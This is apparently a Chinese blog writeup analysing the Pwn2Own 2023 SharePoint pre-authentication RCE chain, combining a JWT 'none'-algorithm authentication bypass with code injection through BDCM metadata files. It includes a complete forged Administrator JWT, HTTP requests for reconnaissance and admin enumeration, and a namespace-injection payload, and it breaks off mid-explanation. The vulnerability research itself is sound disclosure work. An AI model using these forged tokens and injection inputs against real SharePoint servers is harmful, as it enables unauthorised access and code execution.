SharePoint预认证RCE漏洞链深度分析(CVE-2023-29357 & CVE-2023-24955)

本文详细分析了SharePoint服务器中的两个关键漏洞:身份验证绕过(CVE-2023-29357)和代码注入(CVE-2023-24955),攻击者可通过组合这两个漏洞实现预认证远程代码执行,完整利用链涉及JWT令牌伪造和BDCMetadata文件篡改。

[P2O Vancouver 2023] SharePoint预认证RCE漏洞链(CVE-2023-29357 & CVE-2023-24955)

概述

在Pwn2Own Vancouver 2023比赛中,我成功利用了SharePoint目标。虽然现场演示仅持续约30秒,但发现和构建完整利用链的过程耗费了近一年的细致研究和努力。

该利用链利用两个漏洞在SharePoint服务器上实现预认证远程代码执行(RCE):

身份验证绕过 - 未经身份验证的攻击者可以通过伪造有效的JSON Web令牌(JWT),使用none签名算法来绕过JWT令牌验证检查。这个漏洞在我开始这个项目两天后就发现了。

代码注入 - 具有SharePoint所有者权限的用户可以通过替换Web根目录中的/BusinessDataMetadataCatalog/BDCMetadata.bdcm文件来注入任意代码,导致注入的代码被编译到程序集中,随后由SharePoint执行。这个漏洞于2022年2月发现。

身份验证绕过漏洞的特殊之处在于:它只能访问SharePoint API。因此,最困难的部分是找到使用SP API的后认证RCE链。

受影响产品/测试版本

SharePoint 2019 测试版本:SharePoint 2019(16.0.10396.20000)带有2023年3月补丁(KB5002358和KB5002357) 补丁下载: https://www.microsoft.com/en-us/download/details.aspx?id=105064 https://www.microsoft.com/en-us/download/details.aspx?id=105078

漏洞 #1:SharePoint应用程序身份验证绕过

在默认的SharePoint设置配置下,发送到SharePoint站点的几乎所有请求都需要NTLM身份验证才能处理。

分析web config文件时,我意识到我们至少可以使用4种身份验证类型。

认证模块 处理类
FederatedAuthentication SPFederationAuthenticationModule
SessionAuthentication SPSessionAuthenticationModule
SPApplicationAuthentication SPApplicationAuthenticationModule
SPWindowsClaimsAuthentication SPWindowsClaimsAuthenticationHttpModule

我开始逐个分析这些模块,然后在SPApplicationAuthenticationModule中发现了一些有趣的东西。

该模块为Http事件AuthenticateRequest注册了SPApplicationAuthenticationModule.AuthenticateRequest()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
namespace Microsoft.SharePoint.IdentityModel
{
  internal sealed class SPApplicationAuthenticationModule : IHttpModule
  {
    public void Init(HttpApplication context)
    {
      if (context == null)
      {
        throw new ArgumentNullException("context");
      }
      context.AuthenticateRequest += this.AuthenticateRequest;
      context.PreSendRequestHeaders += this.PreSendRequestHeaders;
    }
    //...
  }
  //...
}

因此,每次我们尝试向SharePoint站点发送HTTP请求时,都会调用此方法来处理身份验证逻辑!

仔细查看SPApplicationAuthenticationModule.AuthenticateRequest()方法,将调用SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()来检查当前URL是否允许使用OAuth作为身份验证方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void AuthenticateRequest(object sender, EventArgs e)
{
  if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
  {
    spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
    //...
  }
  else
  {
    bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
    if (flag)
    {
      //...
      spidentityReliabilityMonitorAuthenticateRequest.Success(null);
    }
    else
    {
      //...
      OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
    }
    //...
  }
  //...
}

在[1]处,如果请求URL包含以下模式之一,将允许使用OAuth身份验证:

  • /_vti_bin/client.svc
  • /_vti_bin/listdata.svc
  • /_vti_bin/sites.asmx
  • /_api/
  • /_vti_bin/ExcelRest.aspx
  • /_vti_bin/ExcelRest.ashx
  • /_vti_bin/ExcelService.asmx
  • /_vti_bin/PowerPivot16/UsageReporting.svc
  • /_vti_bin/DelveApi.ashx
  • /_vti_bin/DelveEmbed.ashx
  • /_layouts/15/getpreview.ashx
  • /_vti_bin/wopi.ashx
  • /_layouts/15/userphoto.aspx
  • /_layouts/15/online/handlers/SpoSuiteLinks.ashx
  • /_layouts/15/wopiembedframe.aspx
  • /_vti_bin/homeapi.ashx
  • /_vti_bin/publiccdn.ashx
  • /_vti_bin/TaxonomyInternalService.json/GetSuggestions
  • /_layouts/15/download.aspx
  • /_layouts/15/doc.aspx
  • /_layouts/15/WopiFrame.aspx

当满足上述条件时,将在[2]处调用SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()来继续处理身份验证请求。

SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法的相关代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
  //...
  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
  {
    ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
    return false;
  }
  //...
  if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
  {
    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
  }
  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
  //...
  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
  //...
}

注意:[4]和[5]处的代码将在稍后阶段讨论。

在[3]处,SPApplicationAuthenticationModule.TryExtractAndValidateToken()方法将尝试从HTTP请求中解析身份验证令牌并执行验证检查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
  //...
  if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
  {
    return false;
  }
  //...
  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
  {
    SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
  }
  if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
  {
    Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler(); 
    StringBuilder stringBuilder = new StringBuilder();
    using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
    {
      identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
    }
    SPIdentityProofToken spidentityProofToken2 = null;
    using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
    {
      spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
    }

    ClaimsIdentityCollection claimsIdentityCollection = null;
    claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
    tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
    identityProofToken = spidentityProofToken2;
    tokenContext.IsProofTokenScenario = true;
    SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
    SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
    SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
  }
}

在[6]处,TryParseOAuthToken()方法将尝试从查询字符串参数access_token或Authorization头中检索OAuth访问令牌,并将其存储到text变量中。

例如,HTTP请求将类似于:

1
2
3
4
5
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint

类似地,从HTTP请求中提取OAuth访问令牌后,TryParseProofToken()方法将尝试从查询字符串参数prooftoken或X-PROOF_TOKEN头中检索证明令牌,并将其存储到text2变量中。

在[7]处,两个令牌都作为参数传递给SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法。

SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法的相关代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
  RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
  SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
  if (securityToken == null)
  {
    ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
    throw new InvalidOperationException("Proof token is not JWT");
  }
  SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
  if (securityToken2 == null)
  {
    ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
    throw new InvalidOperationException("Identity token is not JWT");
  }
  //...
  JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
  if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
  {
    spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
    try
    {
      new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
      return spidentityProofToken;
    }
    //...
  }
  //...
}

快速浏览一下,可以推断出访问令牌(作为identityTokenString参数传递)和证明令牌(作为proofTokenString参数传递)都应该是JSON Web令牌(JWT)。

初始化RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler类型的实例以执行令牌解析和验证,然后在[11]处调用nonValidatingJsonWebSecurityTokenHandler.ReadToken()方法。

RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler类型是JsonWebSecurityTokenHandler的子类型。由于RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler没有重写ReadToken()方法,调用nonValidatingJsonWebSecurityTokenHandler.ReadToken()方法等同于调用JsonWebSecurityTokenHandler.ReadToken()(JsonWebSecurityTokenHandler.ReadTokenCore()方法的包装函数)。

在[11]和[12]处验证访问和证明令牌的JsonWebSecurityTokenHandler相关代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public virtual SecurityToken ReadToken(string token)
{
  return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
  Utility.VerifyNonNullOrEmptyStringArgument("token", token);
  return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
  return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
  Utility.VerifyNonNullOrEmptyStringArgument("token", token);
  if (!this.CanReadToken(token)) // [14]
  {
    throw new SecurityTokenException("Unsupported security token.");
  }
  string[] array = token.Split(new char[] { '.' });
  string text = array[0];  // JWT Header
  string text2 = array[1]; // JWT Payload (JWS Claims)
  string text3 = array[2]; // JWT Signature
  Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
  dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
  Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
  dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
  string text4;
  dictionary.TryGetValue("alg", out text4); // [15]
  SecurityToken securityToken = null;
  if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
  {
    if (string.IsNullOrEmpty(text3))
    {
      throw new SecurityTokenException("Missing signature.");
    }
    SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
    SecurityToken securityToken2;

    if (securityToken2 == null)
    {

    }
    securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
  }
  //...
}

在[14]处,首先调用JsonWebSecurityTokenHandler.CanReadToken()方法以确保令牌与正则表达式^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$匹配。基本上,这检查用户提供的令牌类似于有效的JWT令牌,每个部分(即头部、有效负载和签名)都是Base64编码的。

之后,提取JWT令牌的头部、有效负载和签名部分。在将它们解析为JSON对象之前,对头部和有效负载部分执行Base64解码。

在[15]处,从头部部分提取alg字段(即签名算法)。例如,如果Base64解码的头部部分是:

1
2
3
4
{
  "alg": "HS256",
  "typ": "JWT"
}

则alg字段的值为HS256。

此身份验证绕过漏洞的根本原因的第一部分可以在[16]处找到 - 在验证提供的JWT令牌的签名时存在逻辑缺陷。如果alg字段未设置为none,则调用VerifySignature()方法来验证提供的JWT令牌的签名。但是,如果alg是none,则跳过JsonWebSecurityTokenHandler.ReadTokenCore()中的签名验证检查!

回到[13]处,SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()对提供的证明令牌的头部部分中的aud(受众)字段执行验证检查。

以下是aud字段的有效值示例:

1
00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af

aud字段的格式是<client_id>/<hostname>@<realm>

  • 静态值00000003-0000-0ff1-ce00-000000000000被接受为所有SharePoint本地实例的有效<client_id>
  • <hostname>指的是当前HTTP请求的SharePoint服务器(目标)的主机名(例如splab)
  • <realm>(例如3b80be6c-6741-4135-9292-afed8df596af)可以通过向/_api/web/发送带有头Authorization: Bearer的请求从WWW-Authenticate响应头获取

以下是用于获取构建aud字段有效值所需的<realm>的HTTP请求示例:

1
2
3
4
5
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer 

HTTP响应将在WWW-Authenticate响应头中包含<realm>

1
2
3
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...

之后,将从用户提供的访问和证明令牌创建新的SPIdentityProofToken,控制流转到[8]。

在[8]处,identityProofTokenHandler由SPClaimsUtility.GetIdentityProofTokenHandler()方法返回:

1
2
3
4
5
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
  //...
  return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}

SPClaimsUtility.GetIdentityProofTokenHandler()方法的实现意味着返回的identityProofTokenHandler将是SPIdentityProofTokenHandler的实例。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

{

  bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
  if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
  {

    return;
  }
  //...

}

SPIdentityProofTokenUtilities.IsHashedProofToken()方法的实现如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
  if (token == null)
  {
    return false;
  }
  if (token.Claims == null)
  {
    return false;
  }
  JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
  return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}

将JWT令牌有效负载部分中的ver字段设置为hashedprooftoken会使SPIdentityProofTokenUtilities.IsHashedProofToken()方法返回true,从而允许绕过颁发者字段验证检查。

回到[10]处,调用SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)来验证当前URL的哈希。需要存储在JWT有效负载部分endpointurl字段中的所需值可以通过计算得出:

1
base64_encode(sha256(request_url))

执行SPApplicationAuthenticationModule.TryExtractAndValidateToken()后,代码流向SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法并到达[4]:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
  //...
  if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
    //...
    if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
  {
    SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
  }
  JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
  //...
  this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]

如果spincomingTokenContext.TokenType不是spincomingTokenContext.Loopback并且当前HTTP请求未通过SSL加密,将抛出异常。因此,需要在伪造的JWT令牌中将isloopback声明设置为true,以使spincomingTokenContext.TokenType == spincomingTokenContext.Loopback,从而确保不抛出异常并且代码继续正常执行。

随后,在[5]处,令牌将被传递到SPApplicationAuthenticationModule.SignInProofToken()。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
  SecurityContext.RunAsProcess(delegate
  {
    Uri contextUri = SPAlternateUrl.ContextUri;
    SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
    SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
    IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
    //...
  });
}

此方法将从用户提供的JWT令牌创建SecurityTokenForContext的实例,并将其发送到安全令牌服务(STS)进行身份验证。

这是整个漏洞中最重要的部分 - 如果STS接受伪造的JWT令牌,那么就可以冒充任何SharePoint用户!

为简洁起见,伪造的JWT令牌应类似于以下内容:

1
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh

伪造的JWT令牌的Base64解码部分如下所示:

  • 头部:{"alg": "none"}

请注意,需要修改nameid字段以冒充SharePoint站点中的相应用户。

所以我们得到了身份验证绕过,但可能需要知道SharePoint站点中至少存在一个用户名。如果没有,SharePoint站点将拒绝身份验证,我们将无法访问任何功能。

起初,我认为这个问题很容易解决,因为用户"Administrator"存在于每个Windows Server 2022实例中。 但事实并非如此! . . 是的,我们可以假设用户"Administrator"存在于每个Windows Server 2022实例中,但这不是我们需要的。 在正确配置的SharePoint实例中:

  • SharePoint服务用户不应该是"内置管理员"
  • 站点管理员用户也不应该是"内置管理员"
  • 只有"场管理员"需要是SharePoint服务器的"内置管理员"

这意味着在Pwn2Own设置中,“Administrator"帐户不会是SharePoint站点成员。

这部分利用花了我几天时间反复阅读ZDI关于SharePoint的系列博客文章,直到我意识到这一行:

这个入口点/my在我的SharePoint实例中不存在。 搜索了一会儿后,我发现他们(ZDI团队)使用初始场配置向导来设置SharePoint服务器,而不是手动配置(就像我想到/做的那样)。

在使用初始场配置向导时,将启用许多其他功能,用户配置文件服务是负责入口点/my的服务。 此入口点已授予经过身份验证的用户读取权限,这意味着任何经过身份验证的用户都可以访问此站点,获取用户列表和管理员用户名。

通过在My Site站点中使用身份验证绕过,

在第一个请求中,我们可以首先冒充Windows上的任何用户,甚至是本地用户,如NT AUTHORITY\LOCAL SERVICE、NT AUTHORITY\SYSTEM。 经过身份验证后,使用ListData服务获取站点管理员:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true

然后我们可以冒充站点管理员用户并执行任何进一步的操作!

漏洞 #2:DynamicProxyGenerator.GenerateProxyAssembly()中的代码注入

如开头所述,虽然我们可以冒充任何用户,但仅限于SharePoint API中。 我一直在搜索旧的SharePoint漏洞,但找不到任何可通过API访问的漏洞(或者至少当时我不知道如何访问)。

好吧,然后我花了2022年的一半时间阅读SharePoint API源代码,最终发现了这个漏洞!

代码注入漏洞存在于DynamicProxyGenerator.GenerateProxyAssembly()方法中。上述方法实现的相关部分如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
  //...
  CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
  //...
  CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
  codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
  codeCompileUnit.ReferencedAssemblies.Add("System.dll");
  //...
  CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
  StringCollection stringCollection = null;
  //...
  using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
  {
    CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
    codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
    textWriter.Flush();
    sourceCode = textWriter.ToString(); // [19]
  }
  CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
  //...
}

此方法的主要逻辑是使用proxyNameSpace生成程序集。在[17]处,使用proxyNamespaceName参数初始化CodeNamespace的实例。然后将此CodeNamespace实例添加到[18]处的codeCompileUnit.Namespaces中。

之后,在[19]处,codeDomProvider.GenerateCodeFromCompileUnit()将使用包含我们的proxyNamespaceName的上述codeCompileUnit生成源代码,将源代码存储在变量sourceCode中。

发现没有对proxyNamespaceName参数进行验证。因此,通过提供恶意输入作为proxyNamespaceName参数,可以将任意内容注入到要在[20]处为要生成的程序集编译的代码中。

例如:

  • 如果proxyNamespaceName是Foo,则生成的代码是:
1
namespace Foo{}
  • 但如果为proxyNamespaceName参数提供了恶意输入,例如Hacked{} namespace Foo,则生成并编译以下代码:
1
2
3
4
namespace Hacked{
	//恶意代码
}
namespace Foo{}

DynamicProxyGenerator.GenerateProxyAssembly()方法通过反射在WebServiceSystemUtility.GenerateProxyAssembly()中调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
  AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
  {
    new Zone(SecurityZone.MyComputer)
  }, new object[0]), setupInformation, permissionSet, new StrongName[0]);
  object dynamicProxyGenerator = null;
  SPSecurity.RunWithElevatedPrivileges(delegate
  {
    dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
  });
  Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
  string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
  string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
  WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
  object[] array = null;
  try
  {
    array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
  }
  //...

可以在[21]和[23]处找到反射调用。

在[22]处,请注意proxyNamespaceName是从方法WebServiceSystemPropertyParser.GetWebServiceProxyNamespace()检索的,该方法检索当前LobSystem的WebServiceProxyNamespace属性:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
  //...
  string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
  if (!string.IsNullOrEmpty(text))
  {
    return text.Trim();
  }
  //...
}

为了到达WebServiceSystemUtility.GenerateProxyAssembly()方法,发现可以使用Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()方法。如下所述,此Entity.Execute()方法也可用于加载生成的程序集并实例化生成的程序集中的类型,从而实现远程代码执行。

Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()方法的相关代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
  if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
  {
    throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
  }
  //...
  this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}

在[24]处,由于该方法具有[ClientCallableMethod]属性,因此可通过SharePoint REST API访问该方法。在[26]处有一个检查,以确保在调用[27]处的this.m_entity.Execute()之前,LobSystem的SystemType不等于SystemType.DotNetAssembly。

但是,此时有一个小障碍 - 在[25]处,如何获取LobSystemInstance的有效引用并通过REST API将其作为参数提供?事实证明,使用客户端查询功能,可以通过使用ObjectIdentity引用所需的LobSystemInstance,该ObjectIdentity由BCSObjectFactory构造。基本上,使用客户端查询功能允许调用具有[ClientCallableMethod]属性的任何方法,并允许提供非平凡参数,如对象引用。

例如,可以向/_vti_bin/client.svc/ProcessQuery发出请求,请求正文如下,以获取所需LobSystemInstance的引用:

1
<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />

上述负载中使用的静态值解释如下:

  • 4da630b6-36c5-4f55-8e01-5cd40e96104d指的是BCSObjectFactory.GetObjectById()使用的类型ID
  • lsifile将从BDCMetaCatalog文件返回LobSystemInstance

BDCMetaCatalog指的是业务数据连接元数据(BDCM)目录,LobSystem和Entity对象存储在BDCM目录中。BDCM目录的数据可以存储在数据库中,也可以存储在位于SharePoint站点URL根目录的/BusinessDataMetadataCatalog/BDCMetadata.bdcm文件中。

分析BCSObjectFactory.GetObjectById()时,发现可以从BDCM目录文件构造和获取LobSystem、LobSystemInstance和Entity的引用。

幸运的是,可以写入BDCM目录文件。这意味着可以插入任意LobSystem对象,并且可以指定LobSystem对象内的任意

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计